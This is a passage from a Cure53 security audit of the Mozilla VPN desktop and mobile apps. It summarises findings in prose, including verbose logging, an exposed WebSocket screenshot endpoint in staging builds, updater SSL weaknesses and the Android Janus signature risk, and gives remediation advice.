issues. The bottom line is that it is still recommended to move the functionality into theprivileged daemon itself.
Other important sections to review concern the handling of log files. For example, if theprivileged helper would write to an insecure file location, an attacker could use symlinks
to overwrite root-owned files. No such issues were identified at this point but the risk
should be kept in mind.
The Mozilla VPN app logging generally seems rather verbose and in many cases it
might even create copies of the logs in potentially unexpected locations (FVP-02-015,
FVP-02-013). Given the privacy focus of the apps, it is recommended to let users control
the verbosity of the logs and ensure that the log file is not unnecessarily copied.
Moreover, Cure53 recommends to reduce logging across all Mozilla VPN applications tojust a minimum. This will be useful in protecting the users’ privacy and anonymity asmuch as possible.

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The staging version of Mozilla VPN is shipped with a WebSocket Controller, which
exposes very critical functionality to a local WebSocket server. For example, thisspanned making a screenshot of the desktop and returning the image. Because
WebSockets are not restricted by the same-origin policy, any malicious site can talk to
its endpoint and steal a screenshot from the victim (FVP-02-014). Initially the Mozilla
team said that this functionality would not be included in the production app, but this has
not been confirmed. In fact, later during the audit, it was revealed that the component inquestion might be used for a future browser extension. Thus, it was reported as a
Miscellaneous issue. If the current state would actually be shipped in production, thenthis issue can be seen as a major - likely Critical - vulnerability.
To generally reduce the attack surface in the upcoming web extension, Native
Messaging7 - which was introduced in the latest browsers - should be taken into
consideration. It allows communicating directly with local sockets or named pipes, whichmight be a better fit to cater to Mozilla's needs of establishing a trustworthy connection
between a web extension and desktop applications.
Next, some issues in the Bulrog updater were spotted (see FVP-02-002 and FVP-02003). These were due to insufficient SSL support by Qt5. Given the requirement of astate-like attacker, the documented risks could be either accepted or mitigated via aseparate updater component. The latter should have a runtime that makes it possible tovalidate SSL fully.
Moving on to Windows, a main focus was set on the Windows service creation and therisk of privilege escalation issues. This included the communication via named pipes
created by the different components. Despite extensive testing, no issue was discoveredin this regard. The Windows VPN application takes advantage of the systems’ credential
storage to keep authentication data secure. Only a minor weakness in the authentication
flow of the desktop application was discovered and documented in FVP-02-005.
Additionally, it was tested if VPN services store or access files reachable to the currently
authenticated user. As the services store their logs and similar files in system32,
administrator privileges are needed to start filesystem-related attacks, for instance via
symlinks. Moreover, DNS leak via Windows 10’s “Smart Multi-Homed Name Resolution”,
which could send DNS requests to all network interfaces, was checked. The VPN client
is not affected by this issue and leaves a solid impression regarding deanonymization
attacks.

7

https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging

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cure53.de · mario@cure53.deCure53 also looked into the authentication flow used by the Mozilla VPN clients. The
implementation of the OpenID Connection protocol was examined and no major issues
were detected. However, it was found that creating a login URL concurrently makes theport parameter injectable with an arbitrary value. While it could result in a potential
authorization code leak, this is prevented via CSP in place (FVP-02-016). Despite theone found issue, the implemented authentication setup makes a solid impression.
The mobile applications provided for Android and iOS were also examined by Cure53.
These apps were built from the same codebase the desktop apps stems from. Thus, themobile apps running basically the same application, whereby the main functionality is
included via binary files. However, platform-specific features exist and needed to beevaluated.
First, the Android application was analyzed in regard to how the current version fits into
the Android’s ecosystem. Attention was also given to how communication with theAndroid’s Platform API is handled. It was investigated if and how the application isreceiving data through the registered custom scheme (deeplink), data URLs, extra
strings or parcelable objects. The one exported activity, three services and one receiver
were examined. However, most exported components require corresponding
permissions, which reduces the attack surface only to the one exported activity. No
problems could be spotted in this area.
Cure53 also examined the general configuration of the Android app. It was found that
not all security flags offered by Android are utilized. The absence of these flags does not
introduce a security issue but could allow an attacker to exploit other problems moreeasily. As such, the missing backup flag (FVP-02-008) and the secure flag (FVP-02-009)
can be seen as defense-in-depth mechanisms. The tested staging and production buildsof the Android apps are signed with a v1 APK signature. In combination with a supported
minimum SDK level 21, the app is prone to the known Janus vulnerability, which could
lead to a complete takeover in the context of the Android app (FVP-02-010). It is strongly
recommended to only support v2 and v3 signatures and to raise the minimum supported
SDK level to at least 24 (Android 7).
Second, moving to iOS, the app does not utilize external custom protocol handlers oruniversal links, which reduces the exposed attack surface drastically. The only exception
happens during the authentication flow, as the deployed WebView component relies ona custom protocol callback to receive the authentication token. As the user is not allowed
to navigate to third-party websites, the possibility for an attack against this functionality isslim to none. Cure53 also verified the storage of local files and secrets. The app properly
protects user related information by deploying file encryption and storage of key data in

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Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.dethe systems keychain. At the end, the entitlements and settings of the app wereassessed and a minor mistake was discovered, as documented in FVP-02-004.
Overall, the deployed VPN configuration and the underlying routes are correctly set up
on iOS and on Android as well, which hindered the testers from finding any VPN leaks.
As a consequence, the mobile Mozilla VPN applications can be considered sound andfree from major flaws. However, the recommendations should be taken seriously to keepa high level of security when providing a VPN client on mobile devices.
Besides attacks against the applications itself, related web APIs were also examined byCure53. As a result, a leak of the Mullvad account ID to the user was spotted (FVP-02011). This might help attackers who seek to perform attacks against the connected APIs.
Regarding ACL related attacks, no issue could be spotted in this area, which is a very
good and rare result.
To conclude, compared to the last audit of the Mozilla VPN, the examined applications
appear to have grown significantly in terms of security. Cure53 can confirm that between
summer 2020 and spring 2021, the applications have acquired a proven capacity to fend
off many different attacks attempted during the test. As a result, only one exploitable
vulnerability with a Medium severity could be spotted. However, it must be noted that
one critical area was not examined in depth by Cure53 during this project, with therationale of constituting an already known for Mozilla. Therefore, it is strongly
recommended to also perform an audit of the upcoming replacements of the helper
script implementations. Although this missing evaluation is necessary, it more broadly
shows that Mozilla is aware of key problems that modern VPN applications must faceand resolve. The high-quality regarding security needs to be maintained in the coming
releases in order to offer continued protections in the realms of privacy and anonymity to
the Mozilla VPN users.
Cure53 would like to thank Elizabeth Bell, Andrea Marchesini, Jonathan Claudius andthe rest of the Mozilla VPN team for their excellent project coordination, support andassistance, both before and during this assignment.

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